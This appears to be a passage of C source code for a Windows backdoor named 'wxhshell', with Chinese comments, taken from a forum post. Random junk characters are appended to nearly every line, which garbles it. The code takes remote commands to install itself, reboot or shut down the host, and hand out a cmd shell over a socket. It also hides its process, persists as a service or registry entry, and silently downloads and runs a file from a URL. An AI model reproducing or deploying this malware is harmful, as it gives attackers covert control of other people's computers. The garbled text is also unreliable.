  case '?': { 45JL{YRN  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *Dg@fxCQ  
    break; Wg}KQ6 6  
  } >|SIqB<%:  
  // 安装 -m`|Sq  
  case 'i': { Km5_P##  
    if(Install()) Gld~GyB\k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @)b'3~ D  
    else ko}& X=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ; <FAc R  
    break;  %j&vV>2  
    } +-!3ruwSn  
  // 卸载 d*6f,z2=  
  case 'r': { :BxO6@>Xc  
    if(Uninstall()) H1-DK+Q:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2U./ Yfk\  
    else =zn'0g, J4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dy6zrgxygP  
    break; 2? E;(]dQ  
    } 1| sem(t  
  // 显示 wxhshell 所在路径 n{QyqI  
  case 'p': { 08ZvRy(Je<  
    char svExeFile[MAX_PATH]; V[.{cY ?6  
    strcpy(svExeFile,"\n\r"); SWdmej[  
      strcat(svExeFile,ExeFile); 8#QT[H 4F  
        send(wsh,svExeFile,strlen(svExeFile),0); sV"tN2W@  
    break; %wbdg&^  
    } u(Mbp$R' ?  
  // 重启 E3wpC#[Q1  
  case 'b': { I{$suPk  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); NCk-[I?R  
    if(Boot(REBOOT)) Szz j9K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;<i u*a  
    else { |Y"XxM9  
    closesocket(wsh); RC7F/|w.z  
    ExitThread(0); Xq1#rK(  
    } |)7K(R)(=  
    break; `he# !"  
    } Z.${WZW  
  // 关机 G!FdTvx$  
  case 'd': { n~lB}  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _h1bVd-  
    if(Boot(SHUTDOWN)) Sj ovL@X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @JSWqi>  
    else { ( %7V  
    closesocket(wsh); ?h`,@~6u  
    ExitThread(0); HK[%'OQ  
    } _&= `vv'  
    break; 0j$=KA  
    } bm;iX*~  
  // 获取shell 7T[L5-g  
  case 's': { 6O/L~Z*t  
    CmdShell(wsh); ~;(\a@ _  
    closesocket(wsh); cEHpa%_5  
    ExitThread(0); IEm?'o:  
    break; u/W{JPlL  
  } R V#w 0 r  
  // 退出 7b1 yF,N  
  case 'x': { Hl$qmq  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Q^{TcL8  
    CloseIt(wsh); g(P7CX+y  
    break; /,I?"&FWc  
    } %>K(IR pMW  
  // 离开 Rc)]A&J  
  case 'q': { UW":&`i  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); H'S~GP4D  
    closesocket(wsh); 1<9d[N*  
    WSACleanup(); jpi,BVTI-X  
    exit(1); JSg=9p$  
    break; nIH(2j  
        } yi^X?E{WnX  
  } 7NEOaX(J9  
  } azmeJpC  
ydD:6bBX  
  // 提示信息 9{u/|,rq1  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); QY+{ OCB  
} G$ zY&  
  } 9@t&jznt<  
8+!G /p  
  return; UVXruH  
} e[k\VYj[  
Fz8& Jn!  
// shell模块句柄 WA}'[h   
int CmdShell(SOCKET sock) T72Li"00  
{ oi Q3E  
STARTUPINFO si; i.9}bw 9u@  
ZeroMemory(&si,sizeof(si)); ';eAaDM  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .dzw5R&  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 5@.8O VPz  
PROCESS_INFORMATION ProcessInfo; KUW )F  
char cmdline[]="cmd"; <> =(BAw  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); h9S f  
  return 0; +4t \j<T  
} U-?r>K2  
LZ#A`&qUd  
// 自身启动模式 K{y`Sb~k  
int StartFromService(void) i_L u  
{ GF9iK|i/  
typedef struct iMVQt1/  
{ "=?JIQ  
  DWORD ExitStatus; e>Q:j_?.e  
  DWORD PebBaseAddress; j; /@A lZl  
  DWORD AffinityMask; 1|*%  
  DWORD BasePriority; MXVCu"g%  
  ULONG UniqueProcessId; %_]O|(  
  ULONG InheritedFromUniqueProcessId; 7OZ0;fK  
}   PROCESS_BASIC_INFORMATION; '( ETXQ@  
@bkSA  
PROCNTQSIP NtQueryInformationProcess; k;umLyz  
g3n>}\xG>  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; E#w2'(t  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; I2{zy|&  
.O5|d+S  
  HANDLE             hProcess; #;2mP6a[  
  PROCESS_BASIC_INFORMATION pbi; cL %eP.  
 ">|L<  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Qm3 RXO  
  if(NULL == hInst ) return 0; W*c^(W  
1%.CtTi  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~O;?;@  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %|}7YH41  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^-# :T  
vO{[P# L}  
  if (!NtQueryInformationProcess) return 0; 1i Y?t  
I~ SFY>s  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 1\f8-:C  
  if(!hProcess) return 0; +],2smd@N  
eF 8um$t9  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "(F:'J} X  
=Oh/4TbW[  
  CloseHandle(hProcess); Y$q--JA  
K<ldl.  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); r-BqIoVT  
if(hProcess==NULL) return 0; aj+I+r"~  
>48)@sS  
HMODULE hMod; wW/wvC-  
char procName[255]; (B+zh  
unsigned long cbNeeded; h 7\EN  
ELV$!f|u  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); +]Bx4r?p  
Izfj 9h ?  
  CloseHandle(hProcess); 53 ^1;  
AQBr{^inH|  
if(strstr(procName,"services")) return 1; // 以服务启动 /i~n**HeF?  
+fF4]WF P  
  return 0; // 注册表启动 h8SK8sK<  
} l&Fx< W  
~i@Z4t j7  
// 主模块 (P:.@P~  
int StartWxhshell(LPSTR lpCmdLine) 5#? HL  
{ 9T;l*  
  SOCKET wsl; QEL3b4Vm  
BOOL val=TRUE; 1K$8F ~%Z  
  int port=0; 47/YD y%  
  struct sockaddr_in door; `WU"*HqW  
1lUY27MF  
  if(wscfg.ws_autoins) Install(); "6'# L,  
U}`HN*Q.q  
port=atoi(lpCmdLine); DOo34l6#  
Yv;18j*<  
if(port<=0) port=wscfg.ws_port; k3"Y!Uha:  
_{gRCR)  
  WSADATA data; [=xO>  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Y1F P |  
7+p=4i^@Zs  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   h "r)z6Q/  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); wvSaq+N  
  door.sin_family = AF_INET; 0/%VejZ'  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); R75np^  
  door.sin_port = htons(port); Yg7C"3;Vt  
?< $DQ%bf  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^$O,Gy)V  
closesocket(wsl); HQ8;d9cGir  
return 1;  Et0;1  
}  #`2*V  
UG9 Ha  
  if(listen(wsl,2) == INVALID_SOCKET) { ,}#l0 BY  
closesocket(wsl); PT`gAUCw  
return 1; l7JY`x  
} V-iY2YiR  
  Wxhshell(wsl); {@[z-)N7\,  
  WSACleanup(); Z4Qq#iHZR  
5AT[1@H(_  
return 0; ?\Jl] {i2  
ZA4vQDW  
} n.xW"omN  
?g'? Ou  
// 以NT服务方式启动 *e05{C:kS  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "(d7:!%  
{ -z4pI=  
DWORD   status = 0; vvG#O[| O  
  DWORD   specificError = 0xfffffff; *] cm{N  
rfMzHY}%  
  serviceStatus.dwServiceType     = SERVICE_WIN32; MY}B)`yx=  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; JuT~~Z  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :AB$d~${M>  
  serviceStatus.dwWin32ExitCode     = 0; 13P8Zmco  
  serviceStatus.dwServiceSpecificExitCode = 0; .qBf`T;  
  serviceStatus.dwCheckPoint       = 0; m;nT ?kv  
  serviceStatus.dwWaitHint       = 0; `H6kC$^Ofx  
F&lvofy23  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); RI_3X5.KQ  
  if (hServiceStatusHandle==0) return; ebS>_jD  
!N1DJd  
status = GetLastError(); p9)'nU'\t  
  if (status!=NO_ERROR) +K%4jIm  
{ e[7n`ka '  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Xj<B!Wn*Xb  
    serviceStatus.dwCheckPoint       = 0; 5)GO  
    serviceStatus.dwWaitHint       = 0; C_= WL(  
    serviceStatus.dwWin32ExitCode     = status; /uzU]3KF~  
    serviceStatus.dwServiceSpecificExitCode = specificError; V}kZowWD  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7,2bR  
    return; Ie~#k[X  
  } J_A5,K*r|  
I vQ]-A}N  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; zj^Ys`nl  
  serviceStatus.dwCheckPoint       = 0; (TV ye4Z  
  serviceStatus.dwWaitHint       = 0; ,$96bF "#  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); IPoNAi<b  
} QuJ)WaJkC  
O?9&6x   
// 处理NT服务事件,比如:启动、停止 {\L /?#  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ZLJfSnB  
{ C<\|4ERp  
switch(fdwControl) 'lym^^MjL+  
{ yb#NB)+E@  
case SERVICE_CONTROL_STOP: zR+EJFf  
  serviceStatus.dwWin32ExitCode = 0; $!x8XpR8s  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; x\Bl^1&  
  serviceStatus.dwCheckPoint   = 0; q(J3fjY)  
  serviceStatus.dwWaitHint     = 0; nDS mr  
  { (JHL0Z/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  # xS8  
  } Bp`?inKBOd  
  return;  c6;tbL  
case SERVICE_CONTROL_PAUSE: a 8Jn.!  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; +tNu8M@xFo  
  break; >?q()>l  
case SERVICE_CONTROL_CONTINUE: kmm1b (  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; UHYnl ]  
  break; *;wPAQE  
case SERVICE_CONTROL_INTERROGATE: "Fu*F/KW  
  break; <$LVAy"RD  
}; 61q:nWs  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); g jJ?*N[  
} <3iL5}  
8-c1q*q)  
// 标准应用程序主函数 Bg*Oj)NM  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }^;Tt-*k  
{ %+U.zd$  
H\7Qf8s|{  
// 获取操作系统版本 %B$~yx3#  
OsIsNt=GetOsVer(); A7|!&fi  
GetModuleFileName(NULL,ExeFile,MAX_PATH); wvum7K{tI  
:;S]jNy}j)  
  // 从命令行安装 $UAmUQg)}_  
  if(strpbrk(lpCmdLine,"iI")) Install(); CxC&+';  
|"vUC/R2&  
  // 下载执行文件 N246RV1W  
if(wscfg.ws_downexe) { -gl7mO*  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) -aPvls   
  WinExec(wscfg.ws_filenam,SW_HIDE); `g&<7~\=A  
} Tp&03  
C#`VVtei  
if(!OsIsNt) { Lf|5miO  
// 如果时win9x,隐藏进程并且设置为注册表启动 Q"KD O-t  
HideProc(); F7wpGtt  
StartWxhshell(lpCmdLine); oO-kO!59y  
} "k(Ee  
else n5X0Gi9  
  if(StartFromService()) /AX1LYlr  
  // 以服务方式启动 8S[`(] )  
  StartServiceCtrlDispatcher(DispatchTable); z^to"j  
else GpV"KVJJ/  
  // 普通方式启动 Y#EM]x5!=  
  StartWxhshell(lpCmdLine); y,i:BQJ<  
}u0t i"V  
return 0; Bkvh]k;F8  
}
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只看该作者 1 发表于: 2006-10-10
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